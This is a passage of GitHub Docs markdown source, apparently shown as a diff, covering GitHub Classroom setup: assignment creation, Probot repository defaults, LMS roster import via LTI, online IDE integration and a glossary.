target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization. ![Installing the Probot Settings app](/assets/images/help/classroom/probot-settings.gif) ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**. ![List of LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png) 1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom. ![Copy credentials](/assets/images/help/classroom/classroom-copy-credentials.png) ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**. !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png) 1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**. !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png) 145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %} ![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png) #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary. ![Button for online IDE in README.md for assignment repository](/assets/images/help/classroom/assignment-repository-ide-button-in-readme.png) ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization. !["Go grant access" button in popover for authorizing OAuth app for online IDE](/assets/images/help/classroom/assignment-ide-go-grant-access-button.png) For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data 